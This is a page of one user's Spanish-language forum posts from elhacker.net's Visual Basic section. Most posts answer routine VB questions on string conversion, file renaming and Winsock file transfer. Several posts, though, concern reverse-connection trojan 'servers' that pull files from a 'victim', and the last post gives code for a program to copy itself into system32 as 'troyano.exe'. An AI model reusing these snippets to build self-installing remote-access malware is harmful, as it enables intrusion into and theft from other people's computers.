elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23
201  Programación / Programación Visual Basic / Re: Transformar una cadena rellenada con ceros a la izquierda a entero en: 17 Abril 2007, 18:57 pm
Código:
Dim cad1 As String
Dim cad2 As Integer
cad1 = "00002007"
cad2 = Val(cad1)

MsgBox cad2 + 1

no le veo lo dificil.
202  Programación / Programación Visual Basic / Re: Problema con LISTBOX en: 13 Abril 2007, 03:14 am
por lo que pides deduzco que tu cliente no es aun para conexiones multiples... debes saber que mas adelante ya debes etsar pensando en aceptar a todas la peticiones que llegen a tu cliente, es decir multiconexion inversa.
Yo mucho antes pase por lo mismo y como te dijeron pues la solucion es esa, aki esta:

esta funcion booleana recibe la IP a verificar, si ya esta en el List1 entonces devuelve falso y si no verdadero
Código:
Function enLista1(cIP As String) As Boolean
 Dim g
 For g = 0 To List1.ListCount
   If cIP = List1.List(g) Then
    enLista1 = True
    Exit For
   Else
    enLista1 = False
   End If
 Next
End Function

asi de simple, ahora como lo vas a usar:
en el conecction request de tu cliente
Código:
 If enLista1(Ws.RemoteHostIP) = False Then
  List1.AddItem Ws.RemoteHostIP
 End If

este codigo lo saque de una version muuuy antigua de mi cliente, como te decia tienes que evolucionar eso si poco a poco.
un saludo!
203  Programación / Programación Visual Basic / Re: Como Renombrar un fichero? en: 9 Abril 2007, 05:16 am
En efecto, mira lo que MSDN dice de esta instrucción, te servirá.

Sintaxis:
Código:
Name nombre_ruta_antigua As nombre_ruta_nueva


Comentarios

La instrucción Name cambia el nombre de un archivo y lo mueve a un directorio o carpeta diferente, si es necesario. Name puede mover un archivo a través de unidades pero sólo puede cambiar el nombre a un directorio o carpeta existente cuando tanto nombre_ruta_antigua como el nombre_ruta_nueva están ubicados en la misma unidad. Name no puede crear un nuevo archivo, directorio o carpeta.

Si se utiliza la instrucción Name con un archivo abierto se producirá un error. Cierre un archivo antes de cambiarle el nombre. Los argumentos de la instrucción Name no pueden incluir caracteres comodín múltiples (*) ni sencillos (?).
204  Programación / Programación Visual Basic / Re: Problema enviar archivo en: 6 Abril 2007, 03:27 am
mira no se si realmente tendras un archivo de 2GB o 2TB o 1BB, me e tomado la molestia de buscar el archivo mas grande de mi PC y encontré uno de casi 800MB, le puse este código:

Código:
Open "E:\Archivos de programa\eMule\Incoming1\3dsmax 500 Modelos y Texturas.zip" For Binary As #1
Close #1
MsgBox "pasó"
y el basic sigue de lo mas normal...  :D


asi que creo que la resp a tu pregunta es que al menos por debajo de 1 GB el open no "revienta" al basic... ¿alquien tiene archivos de mas de 1GB pa probar ;D ;D ;D ;D ;D ;D?
205  Programación / Programación Visual Basic / Re: Problema enviar archivo en: 5 Abril 2007, 17:58 pm
Podias ponerlo, a mi me interesa saber como leer un archivo de 2GB por ej y q el VB no se pete, como lo haces tu?

Justamente esa es la idea mala que tenemos hasta ahora de transferir el archivo, es decir pasar tooooodo el archivo a una variable y despues transferirlo, y claro viene las imaginaciones malevolas por cierto de decir como paso 80GB a una variable sin que el basic se cuelgue, pues no necesariamente debes pasar lo 80GB del archivo a una variable... y este es el secreto... el tamaño archivo se debe dividir en partes (en cuantas sea necesario) y extraer solo esos tamaños o poriones a una variable lo que es mas razonable que pasar todo el archivo a una variable para luego transferirlos, puedes dividirlo en 10, 100, 1000, o 5000 partes y cada pedazo transferirlo sin problemas. Yo un archivo de mas de 100MB lo divido en 4096 partes aunque puedo elegir ese valor.... esto es 104857600 / 4096 = 25600bytes osea casi 25KB, esos 25 kb a una variable y  esa variable se procede a transferir hasta terminar... si sobra bytes tambien eso se controla, este es el secreto que uso, asi que por teoria ningun archivo asi sea este de 100TB no deberia colgar al basic, aunque quien sabe.

Un Saludo.
206  Programación / Programación Visual Basic / Re: Problema enviar archivo en: 5 Abril 2007, 04:11 am
mmm seria un codigo muy interesante... ya q no tendrias q depender de q la victima este siempre conectada o por lo menos hasta q termine de bajar el archivo...
si la victima se desconecta, entonces el cliente detecta tal accion y guarda lo que hasta el momento de la desconexion haya descargado, asi puedes reanudarlo en una proxima conexion o al dia siguiente y terminar de bajar el archivo cuando quieras... en fin  quisiera chincheta  ;D ;D ;D ;D ;D ;D
207  Programación / Programación Visual Basic / Re: Problema file manager en: 5 Abril 2007, 04:05 am
para resolver este problema cuando a mi se me dio, yo use simples archivos de texto... por ejemplo hago que el server ejecute a traves de un bat la orden dir d:\musica y el resultado lo paso a un txt, éste txt lo jalo desde el cliente y es en el cliente que hago un arduo trabajo de cadenas para separar: nombre de arhchivo y tamaño de archivo, al final le aplico un fileinfo para sacar el tipo de archivo en pc local, asi logro mostrarlo correctamnete en un ListView, con iconos incluido... tambien desearia discutir mi codigo y publicarlo.
208  Programación / Programación Visual Basic / Re: Problema enviar archivo en: 5 Abril 2007, 04:01 am
veo un interes amplio por la transferencia de archivos, yo pase por muchos de esos problemas... y saben? un dia me pregunte lo siguiente: ¿cuando este trasladando un archivo desde el servidor al cliente (en conexion inversa) podria haber un boton pausar? ¿y otro para reanudar? ¿y otro para cancelar? y ¿otro para previsualizar? (en caso de que se trate de un archivo media)

me llevó noches y noches de codigo, al final lo logre... asi puedo decsrgar archivos desde el servidor de cualquier tamaño, hablo de cientos de megas, vamos que si hay interes posteo linea a linea el codigo completo y comentado...

haber ideas?
209  Programación / Programación Visual Basic / Re: Problema enviar archivo en: 1 Abril 2007, 16:55 pm
para enviar un archivo de cualquier tamaño a traves del winsock, no tienes que dividirlo tu, eso lo hace el protocolo tCP/ip, lo que tu tienes que hacer es recibirlo paquete a paquete.

si el cliente envia, pues es en el servidor donde tendras que juntar los paquetes y viceversa.

ejemplo de enviar un archivo desde el cliente al servidor:

cliente:
Código:
 Open "c:\unarchivo.jpg" For Binary As #1
  filedata = Input(LOF(1), 1) 'en esta variable string cargo todo el archivo
 Close #1

 ruta="d:\" 'en esta variable esta la ruta en donde se copiara en el servidor el archivo que envio

 filesize = Len(filedata) 'aqui calculo el tamaño de lo que estoy enviando (long) en bytes

Winsock1.SendData "enviar" & "|" & filesize & "|" & ruta 'envio prmeramente una clave "enviar" luego el tamaño "filesize" y la ruta  "ruta"... (aun no estoy enviando el archivo en si)

ahora te vas al servidor:

Código:
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
WS.GetData datosS

If Left(datosS, 7) = "archivo" Then
    dato = Split(datosSS, "|") 'una variable dato (dim dato() as string) se encarga de dividir clave, tamaño y ruta
    filesize = dato(1) 'aqui tengo el tamaño enviado por el cliente
    Path = dato(2) 'aqui la ruta
    viene_archivo = True 'prendo un interruptor
    Winsock.SendData "enviar" 'ahora si le pido al cliente que envie el archivo en si
    datosSS = ""
End If

pasamos al cliente:
Código:
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)

Winsock.GetData DAToS

If DAToS= "enviar" Then

 Winsock.SendData filedata 'aqui es donde realmente envia... aqui es donde el protocolo se encargara de dividir los paquetes... en el servidor habra que juntarlos uno a uno
End If

servidor:

Código:
Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
WS.GetData datoS

If viene_archivo = True Then
   'declarar arriba: Dim Datos2 As String
   datos2 = datos2 & datoS 'lo que te decia: juntamos parte por parte el archivo que el cliente esta enviando

    If Len(datos2) = filesize Then 'si termina
      Open Path & "nuevoArchivo.jpg" For Binary As #4 'asumo que envias un JPG, sino vas a tener que usar un CommonDialog en el cliente si quieres usar el mismo nombre de archivo que envias del cliente
       Put #4, 1, datos2
      Close #4
      viene_archivo = False 'apagas el interruptor
      datos2 = "" 'vaceas el buffer
      MsgBox "Archivo Recibido con Éxito." 'vuala, aqui termina todo el proceso y depues de esto supongo que tendras que cargar la imagen recibida a un picture, eso ya es tu trabajo.
    End If
End If

si deseas mas info, postea
210  Programación / Programación Visual Basic / Re: Cuando se ejecute, que se copie a system32 en: 10 Diciembre 2006, 22:26 pm
Private Sub Form_Load()
If Dir("C:\windows\system32\troyano.exe") <> "" Then
        ******
    Else
        FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe"
        ;;;;;;;;
    End If
End Sub

***** = Código, por ejemplo, para reiniciar el ordenador (cual es?? :S(por no abrir otro post))
;;;;;;; = Código, para copiar en el registro.

Ahora tengo una pregunta con los IF y los ELSE.

En el código, por ejemplo, en donde va el *****, puedo poner un código muy muy grande?? Algo así como 50 líneas...

Gracias Saludos
puedes poner 500 lineas claro siempre tendiendo en cuenta que los recursos los uses bien, en fin se trata de vaciar variables despues de usarlar etc etc ademas de cuidar de que no haya algo que vuelva inestable el sistema, inlcuso puede poner bucles y mas bucles, en cuyo caso quiza sea necesario que una de esa lineas diga DoEvents...

respecto a lo de copiarse en el system al menos yo uso otro metodo para mis server's uno clasico
se trata de que el server se abra a si mismo (en binario), meta su contenido en una variable string y cree un archivo con el mismo nombre en system32, si lo haces correctamente no debe fallar, no tengo el codigo a la mano pero mas o menos es algo asi:
Código:

on error goto error 'si no pones esto regresamos a tus tipicos errores

open app.path & "\" app.exename & ".exe" for binary as #1
 dserver=input(lof(1),1)
close #1

open dirsystem & "\" & app.exename & ".exe" for binary as #1
put #1,,dserver
close #1

error:
end sub


o algo asi, veo que ese metodo no lo tocaron pero ahi tienes para ap`render un poco mas
un saludo!

Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines